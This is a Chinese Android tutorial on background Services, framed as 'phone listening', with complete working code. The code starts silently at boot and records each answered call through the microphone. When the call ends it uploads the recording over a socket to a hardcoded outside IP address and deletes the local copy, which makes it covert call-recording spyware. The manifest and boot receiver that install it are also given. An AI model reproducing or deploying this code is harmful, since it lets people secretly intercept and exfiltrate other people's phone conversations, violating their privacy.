Android之服务Service---电话监听

 

Android中的服务和windows中的服务是类似的东西，服务一般没有用户操作界面，它运行于系统中不容易被用户发觉，可以使用它开发如监控之类的程序。服务的开发比较简单，如下：

第一步：继承Service类

public class SMSService extends Service { }

第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<service android:name=".SMSService" />

服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service，但是它们的使用场合有所不同。使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止，大有“不求同时生，必须同时死”的特点。 采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并不会导致多次创建服务，但会导致多次调用onStart()方法。采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用onDestroy()方法。

 

代码如下：

 

package cn.itcast.phone;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenService extends Service {
 private static final String TAG = "PhoneListenService";

 @Override
 public void onCreate() {
  TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
  Log.i(TAG, "service created");
  super.onCreate();
 }
 
 @Override
 public void onDestroy() {//清空缓存目录下的所有文件
  File[] files = getCacheDir().listFiles();
  if(files!=null){
   for(File f: files){
    f.delete();
   }
  }
  Log.i(TAG, "service destroy");
  super.onDestroy();
 }

 private class TelListener extends PhoneStateListener{
  private MediaRecorder recorder;//录音
  private String mobile;
  private File audioFile;
  private boolean record;
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   try {
    switch (state){
    case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
     if(record){
      recorder.stop();//停止刻录
      recorder.release();
      record = false;
      new Thread(new UploadTask()).start();//为了避免Service被上传线程占用，新开一个线程用来处理上传操作！！！！
      Log.i(TAG, "start upload file");
     }
     break;
     
    case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
      Log.i(TAG, "OFFHOOK:"+ mobile);
      recorder = new MediaRecorder();
      recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
      recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
      recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
     
      audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
      recorder.setOutputFile(audioFile.getAbsolutePath());
      recorder.prepare();//预期准备
      recorder.start();   //开始刻录
      record = true;
      break; 
     
    case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
     Log.i(TAG, "incomingNumber:"+ incomingNumber);
     mobile = incomingNumber;
     break;
     
    default:
     break;
    }
   } catch (Exception e) {
    Log.e(TAG, e.toString());
   }
   super.onCallStateChanged(state, incomingNumber);
  }
  
  private final class UploadTask implements Runnable{
   @Override
   public void run() {
    try {
     Socket socket = new Socket("220.113.15.71", 7878);
              OutputStream outStream = socket.getOutputStream();
              String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
              outStream.write(head.getBytes());
             
              PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
     String response = StreamTool.readLine(inStream);
              String[] items = response.split(";");
     String position = items[1].substring(items[1].indexOf("=")+1);
     
     RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
     fileOutStream.seek(Integer.valueOf(position));
     byte[] buffer = new byte[1024];
     int len = -1;
     while( (len = fileOutStream.read(buffer)) != -1){
      outStream.write(buffer, 0, len);
     }
     fileOutStream.close();
     outStream.close();
              inStream.close();
              socket.close();
              audioFile.delete();
          } catch (Exception e) {                   
           Log.e(TAG, e.toString());
          }
   }
  }
 }
 
 @Override
 public IBinder onBind(Intent intent) {
  // TODO Auto-generated method stub
  return null;
 }

}

此外，服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。那电话来了怎么开始监听电话的服务呢？那就需要建立一个广播接受者，当开始运行的时候就启动服务，这样子就可以对手机电话进行监听了！

代码：

package cn.itcast.phone;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneListenService.class);
  context.startService(service);
 }

}

配置文件：

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.phone"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <service android:name=".PhoneListenService" />
  <receiver android:name=".BootBroadcastReceiver">
   <intent-filter>
          <action android:name="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
  </receiver>
    </application>
    <uses-sdk android:minSdkVersion="7" />
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest>